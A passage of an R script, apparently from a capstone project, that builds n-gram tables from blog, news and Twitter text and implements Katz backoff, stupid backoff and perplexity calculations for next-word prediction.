clean_news_smaller<- VCorpus(DirSource(directory = dir_clean_docs),
readerControl=list(readPlain, language="en", load=TRUE))
dir_clean_docs<- "C:/Capstone/twitter_smaller/"
setwd(dir_clean_docs)
clean_twitter_smaller<- VCorpus(DirSource(directory = dir_clean_docs),
readerControl=list(readPlain, language="en", load=TRUE))
#Generate one, two, three and four grams from all documents.
one_grams_blogs <- NgramTokenizer(clean_blog_smaller[[1]][[1]],1)
one_grams_news <- NgramTokenizer(clean_news_smaller[[1]][[1]],1)
one_grams_twitter <- NgramTokenizer(clean_twitter_smaller[[1]][[1]],1)
two_grams_blogs <- NgramTokenizer(clean_blog_smaller[[1]][[1]],2)
two_grams_news <- NgramTokenizer(clean_news_smaller[[1]][[1]],2)
two_grams_twitter <- NgramTokenizer(clean_twitter_smaller[[1]][[1]],2)
three_grams_blogs <- NgramTokenizer(clean_blog_smaller[[1]][[1]],3)
three_grams_news <- NgramTokenizer(clean_news_smaller[[1]][[1]],3)
three_grams_twitter <- NgramTokenizer(clean_twitter_smaller[[1]][[1]],3)
four_grams_blogs <- NgramTokenizer(clean_blog_smaller[[1]][[1]],4)
four_grams_news <- NgramTokenizer(clean_news_smaller[[1]][[1]],4)
four_grams_twitter <- NgramTokenizer(clean_twitter_smaller[[1]][[1]],4)
#Write the Ngrams to separate CSV files so they can be easily loaded later.
write.csv(one_grams_blogs, "C:/Capstone/OneGram_blogs_smaller.csv", row.names = FALSE)
write.csv(one_grams_news, "C:/Capstone/OneGram_news_smaller.csv", row.names = FALSE)
write.csv(one_grams_twitter, "C:/Capstone/OneGram_twitter_smaller.csv", row.names = FALSE)
#
write.csv(two_grams_blogs, "C:/Capstone/TwoGram_blogs_smaller.csv", row.names = FALSE)
write.csv(two_grams_news, "C:/Capstone/TwoGram_news_smaller.csv", row.names = FALSE)
write.csv(two_grams_twitter, "C:/Capstone/TwoGram_twitter_smaller.csv", row.names = FALSE)
#
write.csv(three_grams_blogs, "C:/Capstone/ThreeGram_blogs_smaller.csv", row.names = FALSE)
write.csv(three_grams_news, "C:/Capstone/ThreeGram_news_smaller.csv", row.names = FALSE)
write.csv(three_grams_twitter, "C:/Capstone/ThreeGram_twitter_smaller.csv", row.names = FALSE)
write.csv(four_grams_blogs, "C:/Capstone/FourGram_blogs_smaller.csv", row.names = FALSE)
write.csv(four_grams_news, "C:/Capstone/FourGram_news_smaller.csv", row.names = FALSE)
write.csv(four_grams_twitter, "C:/Capstone/FourGram_twitter_smaller.csv", row.names = FALSE)
# #Load up all the n-gram data.
one_grams_blogs <- read.csv("C:/Capstone/OneGram_blogs_smaller.csv", stringsAsFactors = F)
one_grams_news <- read.csv("C:/Capstone/OneGram_news_smaller.csv",stringsAsFactors = F)
one_grams_twitter <- read.csv("C:/Capstone/OneGram_twitter_smaller.csv",stringsAsFactors = F)
two_grams_blogs <- read.csv("C:/Capstone/TwoGram_blogs_smaller.csv",stringsAsFactors = F)
two_grams_news <- read.csv("C:/Capstone/TwoGram_news_smaller.csv",stringsAsFactors = F)
two_grams_twitter <- read.csv("C:/Capstone/TWoGram_twitter_smaller.csv",stringsAsFactors = F)
three_grams_blogs <- read.csv("C:/Capstone/ThreeGram_blogs_smaller.csv",stringsAsFactors = F)
three_grams_news <- read.csv("C:/Capstone/ThreeGram_news_smaller.csv",stringsAsFactors = F)
three_grams_twitter <- read.csv("C:/Capstone/ThreeGram_twitter_smaller.csv",stringsAsFactors = F)
four_grams_blogs <- read.csv("C:/Capstone/FourGram_blogs_smaller.csv",stringsAsFactors = F)
four_grams_news <- read.csv("C:/Capstone/FourGram_news_smaller.csv",stringsAsFactors = F)
four_grams_twitter <- read.csv("C:/Capstone/FourGram_twitter_smaller.csv",stringsAsFactors = F)
#Reduce the size of the 2, 3 and 4-gram tables.
two_grams_blogs <- data_cutoff(two_grams_blogs,2)
two_grams_news <- data_cutoff(two_grams_news,2)
two_grams_twitter <- data_cutoff(two_grams_twitter,2)
three_grams_blogs <- data_cutoff(three_grams_blogs,2)
three_grams_news <- data_cutoff(three_grams_news,2)
three_grams_twitter <- data_cutoff(three_grams_twitter,2)
four_grams_blogs <- data_cutoff(four_grams_blogs,2)
four_grams_news <- data_cutoff(four_grams_news,2)
four_grams_twitter <- data_cutoff(four_grams_twitter,2)
#Write these cutoff n-gram tables to csv files.
write.csv(two_grams_blogs, "C:/Capstone/TwoGram_blogs_smaller.csv", row.names = FALSE)
write.csv(two_grams_news, "C:/Capstone/TwoGram_news_smaller.csv", row.names = FALSE)
write.csv(two_grams_twitter, "C:/Capstone/TwoGram_twitter_smaller.csv", row.names = FALSE)
#
write.csv(three_grams_blogs, "C:/Capstone/ThreeGram_blogs_smaller.csv", row.names = FALSE)
write.csv(three_grams_news, "C:/Capstone/ThreeGram_news_smaller.csv", row.names = FALSE)
write.csv(three_grams_twitter, "C:/Capstone/ThreeGram_twitter_smaller.csv", row.names = FALSE)
write.csv(four_grams_blogs, "C:/Capstone/FourGram_blogs_smaller.csv", row.names = FALSE)
write.csv(four_grams_news, "C:/Capstone/FourGram_news_smaller.csv", row.names = FALSE)
write.csv(four_grams_twitter, "C:/Capstone/FourGram_twitter_smaller.csv", row.names = FALSE)
#Read them in again and time it. Should take less time. Only takes 6 seconds!
one_grams_blogs <- read.csv("C:/Capstone/OneGram_blogs_smaller.csv", stringsAsFactors = F)
one_grams_news <- read.csv("C:/Capstone/OneGram_news_smaller.csv",stringsAsFactors = F)
one_grams_twitter <- read.csv("C:/Capstone/OneGram_twitter_smaller.csv",stringsAsFactors = F)
two_grams_blogs <- read.csv("C:/Capstone/TwoGram_blogs_smaller.csv",stringsAsFactors = F)
two_grams_news <- read.csv("C:/Capstone/TwoGram_news_smaller.csv",stringsAsFactors = F)
two_grams_twitter <- read.csv("C:/Capstone/TWoGram_twitter_smaller.csv",stringsAsFactors = F)
three_grams_blogs <- read.csv("C:/Capstone/ThreeGram_blogs_smaller.csv",stringsAsFactors = F)
three_grams_news <- read.csv("C:/Capstone/ThreeGram_news_smaller.csv",stringsAsFactors = F)
three_grams_twitter <- read.csv("C:/Capstone/ThreeGram_twitter_smaller.csv",stringsAsFactors = F)
four_grams_blogs <- read.csv("C:/Capstone/FourGram_blogs_smaller.csv",stringsAsFactors = F)
four_grams_news <- read.csv("C:/Capstone/FourGram_news_smaller.csv",stringsAsFactors = F)
four_grams_twitter <- read.csv("C:/Capstone/FourGram_twitter_smaller.csv",stringsAsFactors = F)
#Combine n-grams from all sources together, write them as CSV files.
#Can load these combined ngram CSV files later.
one_grams <- rbind(one_grams_blogs, one_grams_news, one_grams_twitter)
one_grams <- aggregate(Freq~n_gram, one_grams, sum)
one_grams <- arrange(one_grams, desc(Freq))
write.csv(one_grams, "C:/Capstone/OneGrams.csv", row.names = FALSE)
#
two_grams <- rbind(two_grams_blogs, two_grams_news, two_grams_twitter)
two_grams <- aggregate(Freq~n_gram, two_grams, sum)
two_grams <- arrange(two_grams, desc(Freq))
write.csv(two_grams, "C:/Capstone/TwoGrams.csv", row.names = FALSE)
#
three_grams <- rbind(three_grams_blogs, three_grams_news, three_grams_twitter)
three_grams <- aggregate(Freq~n_gram, three_grams, sum)
three_grams <- arrange(three_grams, desc(Freq))
write.csv(three_grams, "C:/Capstone/ThreeGrams.csv", row.names = FALSE)
one_grams <- read.csv("C:/Capstone/OneGrams.csv", stringsAsFactors = F)
two_grams <- read.csv("C:/Capstone/TwoGrams.csv",stringsAsFactors = F)
three_grams <- read.csv("C:/Capstone/ThreeGrams.csv",stringsAsFactors = F)
#Function to add maximum likelihood column to unigram frequency tables
add_MLs <- function(frequency_table){
frequency_table <- frequency_table %>% mutate(p = frequency_table$Freq/sum(frequency_table$Freq))
return(frequency_table)
}
#Basic bigram Katz Backoff model. Test it with an input word.
input_word <- c("decoction")
test_word<- paste("^", input_word, " ", sep="")
#Function for bigram Katz backoff.
bigram_backoff <- function(input_word, unigrams, bigrams){
#Add starting metacharacter and space to input word.
test_word <- paste("^", input_word, " ", sep="")
#Check if the input word can be found in any of the bigrams.
if(length(grep(test_word, bigrams$n_gram)) > 0){
#Find a sub bigram containing entries that only start with the entered input word.
sub_bigrams <- bigrams[grep(test_word, bigrams[,1]),]
#Add a column to the two_gram subset containing the discounted counts.
sub_bigrams_discounted <- sub_bigrams %>%
mutate(discounted = sub_bigrams$Freq - 0.5)
#Add a column to get the discounted maximum likelihoods for each bigram in the subset
sub_bigrams_discounted <- sub_bigrams_discounted %>%
mutate(q = sub_bigrams_discounted$discounted/sum(sub_bigrams_discounted$Freq))
#Calculate leftover probability mass
alpha_bi <- 1 - sum(sub_bigrams_discounted$q)
#Select the top 5 most likely words following the input word. Show probabilities
q_bo_bi <- subset(sub_bigrams_discounted, select = c("n_gram","q"))
q_bo_bi$n_gram <- substring(q_bo_bi$n_gram,nchar(test_word))
} else {
#Get total probability in unigram list.
total_probability <- sum(unigrams$p)
alpha_bi <- 1
#Add a column containing normalized probabilities to unigram list.
#This is the discounted probability
unigrams <- unigrams %>% mutate(q = alpha_bi*unigrams$p/total_probability)
#Return these unigrams, which are best guess for the next word if nothing
#was found in the bigram list.
q_bo_bi<- subset(unigrams, select = c("n_gram","q"))
}
return(q_bo_bi)
}
#Run two tests of the bigram Katz backoff function.
test1 <- bigram_backoff("of",one_grams_blogs, two_grams_blogs)
print(test1[1:10,])
test2 <- bigram_backoff("intracranial",one_grams_blogs, two_grams_blogs)
print(test2[1:10,])
#Record start time of code chunk execution here.
start_time <- Sys.time()
##MODEL 1: Katz backoff trigram model.##
#Read them in again and time it. Should take less time. Only takes 6 seconds!
one_grams_blogs <- read.csv("C:/Capstone/OneGram_blogs_smaller.csv", stringsAsFactors = F)
one_grams_news <- read.csv("C:/Capstone/OneGram_news_smaller.csv",stringsAsFactors = F)
one_grams_twitter <- read.csv("C:/Capstone/OneGram_twitter_smaller.csv",stringsAsFactors = F)
two_grams_blogs <- read.csv("C:/Capstone/TwoGram_blogs_smaller.csv",stringsAsFactors = F)
two_grams_news <- read.csv("C:/Capstone/TwoGram_news_smaller.csv",stringsAsFactors = F)
two_grams_twitter <- read.csv("C:/Capstone/TWoGram_twitter_smaller.csv",stringsAsFactors = F)
three_grams_blogs <- read.csv("C:/Capstone/ThreeGram_blogs_smaller.csv",stringsAsFactors = F)
three_grams_news <- read.csv("C:/Capstone/ThreeGram_news_smaller.csv",stringsAsFactors = F)
three_grams_twitter <- read.csv("C:/Capstone/ThreeGram_twitter_smaller.csv",stringsAsFactors = F)
four_grams_blogs <- read.csv("C:/Capstone/FourGram_blogs_smaller.csv",stringsAsFactors = F)
four_grams_news <- read.csv("C:/Capstone/FourGram_news_smaller.csv",stringsAsFactors = F)
four_grams_twitter <- read.csv("C:/Capstone/FourGram_twitter_smaller.csv",stringsAsFactors = F)
#Function to add maximum likelihood column to unigram frequency tables
add_MLs <- function(frequency_table){
frequency_table <- frequency_table %>% mutate(p = frequency_table$Freq/sum(frequency_table$Freq))
return(frequency_table)
}
#Now do the Katz backoff trigram model.
#Generate the trigram Katz backoff model function..
trigram_backoff <- function(input_phrase, one_grams, two_grams, three_grams){
#Modify input phrase and also add probabilities to unigram list.
test_phrase <- paste("^", input_phrase, " ", sep="")
one_grams <- add_MLs(one_grams)
#Check if there are any 3-grams that start with the test phrase.
if(length(grep(test_phrase, three_grams$n_gram)) > 0){
#If so, return a subset of three-grams that start with the test phrase.
sub_three_grams<- three_grams[grep(test_phrase, three_grams[,1]),]
#Add a column of discounted frequency counts for trigrams that start
#with the test phrase.
sub_three_grams_discounted <- sub_three_grams %>%
mutate(discounted = sub_three_grams$Freq - 0.5)
#Add another column that provides the discounted probability in this subset
#of 3-grams.
sub_three_grams_discounted <- sub_three_grams_discounted %>%
mutate(q = sub_three_grams_discounted$discounted/sum(sub_three_grams_discounted$Freq))
#Calculate the remaining probablity mass available for guessing new words.
alpha_tri <- 1 - sum(sub_three_grams_discounted$q)
#Create a table of just the n-grams starting with the input phrase and the discounted
#probabilities only.
q_bo_tri <- subset(sub_three_grams_discounted, select = c("n_gram","q"))
#Show only the predicted word and not the entire trigram in this table.
q_bo_tri$n_gram <- substring(q_bo_tri$n_gram,nchar(test_phrase))
} else {
#No words follow input phrase in trigrams, so full probablity mass available for
#guessing.
alpha_tri <- 1
#Break up the input phrase and get only the previous word closest to the
#word being guessed.
split_ngram <- strsplit(input_phrase, " ")
previous_word <- split_ngram[[1]][2]
previous_word <- paste("^",previous_word, " ", sep="")
#Now look at the bigram table. See if any bigrams start with this
#previous word. Create a subset of bigrams for which this is true.
#Include discounted counts and probabilities in the table and calculate
#alpha again. Return only the predicted words within the bigrams.
if(length(grep(previous_word, two_grams$n_gram)) > 0){
sub_two_grams <- two_grams[grep(previous_word, two_grams[,1]),]
sub_two_grams_discounted <- sub_two_grams %>%
mutate(discounted = sub_two_grams$Freq - 0.5)
sub_two_grams_discounted <- sub_two_grams_discounted %>%
mutate(q = sub_two_grams_discounted$discounted/sum(sub_two_grams_discounted$Freq))
alpha_bi <- 1 - sum(sub_two_grams_discounted$q)
q_bo_bi <- subset(sub_two_grams_discounted, select = c("n_gram","q"))
q_bo_bi$n_gram <- substring(q_bo_bi$n_gram,nchar(previous_word))
} else {
#Nothing in the bigrams either that start with test word. Full alpha.
alpha_bi <- 1
total_probability <- sum(one_grams$p)
#Adjust the one-gram probabilities, normalize to probability sum.
one_grams <- one_grams %>% mutate(q = alpha_bi*one_grams$p/total_probability)
#Can now only return the one grams with the highest probability of being the
#following word.
q_bo_bi<- subset(one_grams, select = c("n_gram","q"))
}
#Must also include code to calculate the summation term in the trigram Katz model
#If previous word part of the bigram list, then repeat the above steps
#to calculate the bigram discounted probabilities and then add them all up.
#Alpha must be recacluated. Must also find which unigrams are a part of this
#group. Adjust the unigram probabilities based on this and new alpha accordingly.
#Suum these fractional probabilities for the cases where words do follow with the
# with the probablities of the words that don't follow the previous word to get
#the total. If no words at all follow the previous word, then just add
#the unigram probabilities. Return the final trigram probability.
if(length(grep(previous_word, two_grams$n_gram)) > 0){
sub_two_grams <- two_grams[grep(previous_word, two_grams[,1]),]
sub_two_grams_discounted <- sub_two_grams %>%
mutate(discounted = sub_two_grams$Freq - 0.5)
sub_two_grams_discounted <- sub_two_grams_discounted %>%
mutate(q = sub_two_grams_discounted$discounted/sum(sub_two_grams_discounted$Freq))
q_bo_bi_sum_if_word_follows <- sum(sub_two_grams_discounted$q)
alpha_bi <- 1 - sum(sub_two_grams_discounted$q)
q_bo_bi <- subset(sub_two_grams_discounted, select = c("n_gram","q"))
q_bo_bi$n_gram <- substring(q_bo_bi$n_gram,nchar(previous_word))
uni_remaining_words <- one_grams %>% filter(!(one_grams$n_gram %in% q_bo_bi$n_gram))
uni_remaining_words <- uni_remaining_words %>% mutate(frac_q = alpha_bi*uni_remaining_words$p/sum(uni_remaining_words$p))
q_bo_bi_sum_if_no_word_follows <- sum(uni_remaining_words$frac_q)
q_bo_bi_sum <- q_bo_bi_sum_if_word_follows + q_bo_bi_sum_if_no_word_follows
} else {
q_bo_bi_sum <- sum(one_grams$p/sum(one_grams$p))
}
q_bo_tri <- q_bo_bi
q_bo_tri$q <- alpha_tri*q_bo_tri$q/q_bo_bi_sum
}
return(q_bo_tri)
}
#Test the trigram backoff function with a few examples and print out some of the predicted
#results.
input_phrase <- c("the yellow")
test_blogs <- trigram_backoff(input_phrase, one_grams_blogs, two_grams_blogs, three_grams_blogs)
test_news <- trigram_backoff(input_phrase, one_grams_news, two_grams_news, three_grams_news)
test_twitter <- trigram_backoff(input_phrase, one_grams_twitter, two_grams_twitter, three_grams_twitter)
print(test_blogs[1:10,1])
print(test_news[1:10,1])
print(test_twitter[1:10,1])
#Can also try entering some quiz words so the prediction model can guess with following word
#is the correct word. Filter out the ngrams to show only the quiz words if they can be found.
#Print out the quiz word guesses.
quiz_words <- c("referees", "players", "defense", "crowd")
quiz_words_blogs <- test_blogs %>% filter((test_blogs$n_gram %in% quiz_words))
quiz_words_news <- test_news %>% filter((test_news$n_gram %in% quiz_words))
quiz_words_twitter <- test_twitter %>% filter((test_twitter$n_gram %in% quiz_words))
print(quiz_words_blogs)
print(quiz_words_news)
print(quiz_words_twitter)
#Record the end time of the code chunk run.
end_time <- Sys.time()
#Record the total run time of the code run.
end_time - start_time
##MODEL 2: Stupid backoff algorithm.
#Record code execution start time.
start_time <- Sys.time()
#Read them in again and time it. Should take less time. Only takes 6 seconds!
one_grams_blogs <- read.csv("C:/Capstone/OneGram_blogs_smaller.csv", stringsAsFactors = F)
one_grams_news <- read.csv("C:/Capstone/OneGram_news_smaller.csv",stringsAsFactors = F)
one_grams_twitter <- read.csv("C:/Capstone/OneGram_twitter_smaller.csv",stringsAsFactors = F)
two_grams_blogs <- read.csv("C:/Capstone/TwoGram_blogs_smaller.csv",stringsAsFactors = F)
two_grams_news <- read.csv("C:/Capstone/TwoGram_news_smaller.csv",stringsAsFactors = F)
two_grams_twitter <- read.csv("C:/Capstone/TWoGram_twitter_smaller.csv",stringsAsFactors = F)
three_grams_blogs <- read.csv("C:/Capstone/ThreeGram_blogs_smaller.csv",stringsAsFactors = F)
three_grams_news <- read.csv("C:/Capstone/ThreeGram_news_smaller.csv",stringsAsFactors = F)
three_grams_twitter <- read.csv("C:/Capstone/ThreeGram_twitter_smaller.csv",stringsAsFactors = F)
four_grams_blogs <- read.csv("C:/Capstone/FourGram_blogs_smaller.csv",stringsAsFactors = F)
four_grams_news <- read.csv("C:/Capstone/FourGram_news_smaller.csv",stringsAsFactors = F)
four_grams_twitter <- read.csv("C:/Capstone/FourGram_twitter_smaller.csv",stringsAsFactors = F)
#Function to add maximum likelihood column to unigram frequency tables
add_MLs <- function(frequency_table){
frequency_table <- frequency_table %>% mutate(p = frequency_table$Freq/sum(frequency_table$Freq))
return(frequency_table)
}
#Develop stupid backoff models for 2,3 and 4-grams. This is quite a bit easier and can
#include 4 grams as well fairly easily. I have written functions to make word predictions
#after at least one, two or three words typed.
stupid_backoff_4gram <- function(input_phrase, one_grams, two_grams, three_grams, four_grams){
#Adjust the test phrase with a starting character and add probabilities to one-grams.
test_phrase <- paste("^", input_phrase, " ", sep="")
one_grams <- add_MLs(one_grams)
#Are any of the three word phases found in the 4-grams?
if(length(grep(test_phrase, four_grams$n_gram)) > 0){
#Get the four grams that include the 3-word starting phrase and add probability
#Only show the predicted words and store them in this subset.
sub_four_grams<- four_grams[grep(test_phrase, four_grams[,1]),]
sub_four_grams<- sub_four_grams %>%
mutate(p = sub_four_grams$Freq/sum(sub_four_grams$Freq))
p_fourgram <- subset(sub_four_grams, select = c("n_gram","p"))
p_fourgram$n_gram <- substring(p_fourgram$n_gram,nchar(test_phrase))
final_results <- p_fourgram
} else {
#Split the 3 word phase to show only the last two words of the phrase.
split_3wordphrase <- strsplit(input_phrase, " ")
two_word_phrase <- c(split_3wordphrase[[1]][2], split_3wordphrase[[1]][3])
two_word_phrase <- concatenate(two_word_phrase, collapse = " ",rm.space = FALSE)
two_word_phrase <- paste("^", two_word_phrase, " ", sep="")
#Is the two word phrase part of the trigram list?
if(length(grep(two_word_phrase, three_grams$n_gram)) > 0){
#If so, get subset of three grams countaining the two-word phrase.
#Add probability columns, with 0.4 factor multiplier.
#Show the results of the words which follow the two-word phrase.
sub_three_grams <- three_grams[grep(two_word_phrase, three_grams[,1]),]
sub_three_grams<- sub_three_grams %>%
mutate(p = 0.4*sub_three_grams$Freq/sum(sub_three_grams$Freq))
p_threegram <- subset(sub_three_grams, select = c("n_gram", "p"))
p_threegram$n_gram <- substring(p_threegram$n_gram, nchar(two_word_phrase))
final_results <- p_threegram
} else {
#split the two word phase and show only the previous word.
split_2wordphrase <- strsplit(input_phrase, " ")
previous_word <- split_2wordphrase[[1]][2]
previous_word <- paste("^",previous_word," ",sep="")
#If bigrams are available that start with this previous word
#Then show this subset of birgrams. Add corrected probability
#column. Can generate predicted word results now.
if(length(grep(previous_word, two_grams$n_gram)) > 0){
sub_two_grams <- two_grams[grep(previous_word, two_grams[,1]),]
sub_two_grams <- sub_two_grams %>%
mutate(p = 0.4*sub_two_grams$Freq/sum(sub_two_grams$Freq))
p_twogram <- subset(sub_two_grams, select = c("n_gram", "p"))
p_twogram$n_gram <- substring(p_twogram$n_gram, nchar(previous_word))
final_results <- p_twogram
} else {
#No words follow any of the previous one, two, or 3-word phrases
#Must guess from just the unigrams and use the high probability
#unigrams as the prediction.
p_onegrams <- one_grams
p_onegrams<- subset(p_one_grams, select = c("n_gram","p"))
final_results <- p_onegrams
}
}
}
return(final_results)
}
#Repeat everything as above, but do it only for two-word phrases and up to
#trigrams only. Create a function for this.
stupid_backoff_3gram <- function(input_phrase, one_grams, two_grams, three_grams){
test_phrase <- paste("^", input_phrase, " ", sep="")
one_grams <- add_MLs(one_grams)
if(length(grep(test_phrase, three_grams$n_gram)) > 0){
sub_three_grams <- three_grams[grep(test_phrase, three_grams[,1]),]
sub_three_grams<- sub_three_grams %>%
mutate(p = 0.4*sub_three_grams$Freq/sum(sub_three_grams$Freq))
p_threegram <- subset(sub_three_grams, select = c("n_gram", "p"))
p_threegram$n_gram <- substring(p_threegram$n_gram, nchar(test_phrase))
final_results <- p_threegram
} else {
split_2wordphrase <- strsplit(input_phrase, " ")
previous_word <- split_2wordphrase[[1]][2]
previous_word <- paste("^",previous_word," ",sep="")
if(length(grep(previous_word, two_grams$n_gram)) > 0){
sub_two_grams <- two_grams[grep(previous_word, two_grams[,1]),]
sub_two_grams <- sub_two_grams %>%
mutate(p = 0.4*sub_two_grams$Freq/sum(sub_two_grams$Freq))
p_twogram <- subset(sub_two_grams, select = c("n_gram", "p"))
p_twogram$n_gram <- substring(p_twogram$n_gram, nchar(previous_word))
final_results <- p_twogram
} else {
p_onegrams <- one_grams
p_onegrams<- subset(p_one_grams, select = c("n_gram","p"))
final_results <- p_onegrams
}
}
return(final_results)
}
#Repeat as above, but create a function to predict a word following
#just one word.
stupid_backoff_2gram <- function(input_phrase, one_grams, two_grams){
test_phrase <- paste("^", input_phrase, " ", sep="")
one_grams <- add_MLs(one_grams)
if(length(grep(test_phrase, two_grams$n_gram)) > 0){
sub_two_grams <- two_grams[grep(test_phrase, two_grams[,1]),]
sub_two_grams <- sub_two_grams %>%
mutate(p = 0.4*sub_two_grams$Freq/sum(sub_two_grams$Freq))
p_twogram <- subset(sub_two_grams, select = c("n_gram", "p"))
p_twogram$n_gram <- substring(p_twogram$n_gram, nchar(test_phrase))
final_results <- p_twogram
} else {
p_onegrams <- one_grams
p_onegrams<- subset(p_one_grams, select = c("n_gram","p"))
final_results <- p_onegrams
}
return(final_results)
}
#If the user inputs a phrase longer than three words, just take the last three words
#of the input phrase.
input_phrase <- c("the yellow")
if(length(input_phrase)>0){
num_words <- wordcount(input_phrase, sep = " ", count.function = sum)
} else {
num_words <- 0
}
if(num_words > 3){
input_phrase <- strsplit(input_phrase," ")
input_phrase <- input_phrase[[1]][(num_words-2):num_words]
input_phrase <- concatenate(input_phrase, collapse = " ",rm.space = FALSE)
}
#Get the number of words in the input phrase.
if(num_words >0){
word_count <- wordcount(input_phrase, sep=" ",count.function = sum)
}else{
word_count <- 0
}
#If three words in phrase, use the 4-gram stupid backoff model.
if(word_count == 3){
test_backoff_blogs <- stupid_backoff_4gram(input_phrase, one_grams_blogs, two_grams_blogs, three_grams_blogs, four_grams_blogs)
test_backoff_news <- stupid_backoff_4gram(input_phrase, one_grams_news, two_grams_news, three_grams_news, four_grams_news)
test_backoff_twitter <- stupid_backoff_4gram(input_phrase, one_grams_twitter, two_grams_twitter, three_grams_twitter, four_grams_twitter)
#If two words in input phrase, use the 3-gram stupid backoff model.
} else if(word_count == 2){
test_backoff_blogs <- stupid_backoff_3gram(input_phrase, one_grams_blogs, two_grams_blogs, three_grams_blogs)
test_backoff_news <- stupid_backoff_3gram(input_phrase, one_grams_news, two_grams_news, three_grams_news)
test_backoff_twitter <- stupid_backoff_3gram(input_phrase, one_grams_twitter, two_grams_twitter, three_grams_twitter)
#If only one word in input phrase, use just the bigram stupid backoff model.
} else if(word_count == 1){
test_backoff_blogs <- stupid_backoff_2gram(input_phrase, one_grams_blogs, two_grams_blogs, three_grams_blogs)
test_backoff_news <- stupid_backoff_2gram(input_phrase, one_grams_news, two_grams_news, three_grams_news)
test_backoff_twitter <- stupid_backoff_2gram(input_phrase, one_grams_twitter, two_grams_twitter)
#If no words entered, ask the user to enter at least one word.
} else{
if(word_count == 0){
print("Please enter at least one word:")
}
}
#Print the results of the predicted words using the stupid backoff algorithm.
print(test_backoff_blogs[1:10,1])
print(test_backoff_news[1:10,1])
print(test_backoff_twitter[1:10,1])
#Record the end time of this code chunk and then calculate the elapsed time for running the code.
end_time <- Sys.time()
#Get the code chunk execution time.
end_time - start_time
#Perplexity calculations. The perplexity does go down with n-gram models of
#increasing n.
perplexity <- function(n_grams){
n_grams_perp <- n_grams %>%
mutate(p_inv_log =log2((n_grams$Freq/sum(n_grams$Freq))))
prob_sum <- sum(n_grams_perp$p_inv_log)/nrow(n_grams_perp)
perplexity_result <- 2^(-prob_sum)
return(perplexity_result)
}
one_grams_blogs_perp <- perplexity(one_grams_blogs)
one_grams_news_perp <- perplexity(one_grams_news)
one_grams_twitter_perp <- perplexity(one_grams_twitter)
two_grams_blogs_perp <- perplexity(two_grams_blogs)
two_grams_news_perp <- perplexity(two_grams_news)
two_grams_twitter_perp <- perplexity(two_grams_twitter)
three_grams_blogs_perp <- perplexity(three_grams_blogs)
three_grams_news_perp <- perplexity(three_grams_news)
three_grams_twitter_perp <- perplexity(three_grams_twitter)
four_grams_blogs_perp <- perplexity(four_grams_blogs)
four_grams_news_perp <- perplexity(four_grams_news)
four_grams_twitter_perp <- perplexity(four_grams_twitter)
#Start investigating linear interpolation model.
#Create the held-out dataset first.
write(clean_docs[[1]][[1]][300000:340000], "C:/Capstone/blogs_interpolation/en_US_blogs_clean_inter.txt", sep="\n")
write(clean_docs[[2]][[1]][20000:40000], "C:/Capstone/news_interpolation/en_US_news_clean_inter.txt", sep="\n")
write(clean_docs[[3]][[1]][400000:440000], "C:/Capstone/twitter_interpolation/en_US_twitter_clean_inter.txt", sep="\n")
#Load each held_out_document as separate corpuses.
dir_clean_int<- "C:/Capstone/blogs_interpolation/"
setwd(dir_clean_int)
clean_blog_int<- VCorpus(DirSource(directory = dir_clean_int),
readerControl=list(readPlain, language="en", load=TRUE))
dir_clean_int<- "C:/Capstone/news_interpolation/"
setwd(dir_clean_int)
clean_news_int<- VCorpus(DirSource(directory = dir_clean_int),
readerControl=list(readPlain, language="en", load=TRUE))
dir_clean_int<- "C:/Capstone/twitter_interpolation/"
setwd(dir_clean_int)
clean_twitter_int<- VCorpus(DirSource(directory = dir_clean_int),
readerControl=list(readPlain, language="en", load=TRUE))
#Generate one, two, three and four grams from all documents in held out set for interpolation.
one_grams_blogs_ho <- NgramTokenizer(clean_blog_int[[1]][[1]],1)
one_grams_news_ho <- NgramTokenizer(clean_news_int[[1]][[1]],1)
one_grams_twitter_ho <- NgramTokenizer(clean_twitter_int[[1]][[1]],1)
#
#
two_grams_blogs_ho <- NgramTokenizer(clean_blog_int[[1]][[1]],2)
two_grams_news_ho <- NgramTokenizer(clean_news_int[[1]][[1]],2)
two_grams_twitter_ho <- NgramTokenizer(clean_twitter_int[[1]][[1]],2)
#
three_grams_blogs_ho <- NgramTokenizer(clean_blog_int[[1]][[1]],3)
three_grams_news_ho <- NgramTokenizer(clean_news_int[[1]][[1]],3)
three_grams_twitter_ho <- NgramTokenizer(clean_twitter_int[[1]][[1]],3)
#
#
four_grams_blogs_ho <- NgramTokenizer(clean_blog_int[[1]][[1]],4)
four_grams_news_ho <- NgramTokenizer(clean_news_int[[1]][[1]],4)
four_grams_twitter_ho <- NgramTokenizer(clean_twitter_int[[1]][[1]],4)
#Reduce the size of the 2, 3 and 4-gram tables.
two_grams_blogs_ho <- data_cutoff(two_grams_blogs_ho,2)
two_grams_news_ho <- data_cutoff(two_grams_news_ho,2)
two_grams_twitter_ho <- data_cutoff(two_grams_twitter_ho,2)
#
three_grams_blogs_ho <- data_cutoff(three_grams_blogs_ho,2)
three_grams_news_ho <- data_cutoff(three_grams_news_ho,2)
three_grams_twitter_ho <- data_cutoff(three_grams_twitter_ho,2)
#
four_grams_blogs_ho <- data_cutoff(four_grams_blogs_ho,2)
four_grams_news_ho <- data_cutoff(four_grams_news_ho,2)
four_grams_twitter_ho <- data_cutoff(four_grams_twitter_ho,2)
#Write these cutoff n-gram tables to csv files.
#Write the Ngrams to separate CSV files so they can be easily loaded later.
write.csv(one_grams_blogs_ho, "C:/Capstone/OneGram_blogs_inter.csv", row.names = FALSE)
write.csv(one_grams_news_ho, "C:/Capstone/OneGram_news_inter.csv", row.names = FALSE)
write.csv(one_grams_twitter_ho, "C:/Capstone/OneGram_twitter_inter.csv", row.names = FALSE)
#
write.csv(two_grams_blogs_ho, "C:/Capstone/TwoGram_blogs_inter.csv", row.names = FALSE)
write.csv(two_grams_news_ho, "C:/Capstone/TwoGram_news_inter.csv", row.names = FALSE)
write.csv(two_grams_twitter_ho, "C:/Capstone/TwoGram_twitter_inter.csv", row.names = FALSE)
#
write.csv(three_grams_blogs_ho, "C:/Capstone/ThreeGram_blogs_inter.csv", row.names = FALSE)
write.csv(three_grams_news_ho, "C:/Capstone/ThreeGram_news_inter.csv", row.names = FALSE)
write.csv(three_grams_twitter_ho, "C:/Capstone/ThreeGram_twitter_inter.csv", row.names = FALSE)
write.csv(four_grams_blogs_ho, "C:/Capstone/FourGram_blogs_inter.csv", row.names = FALSE)
write.csv(four_grams_news_ho, "C:/Capstone/FourGram_news_inter.csv", row.names = FALSE)
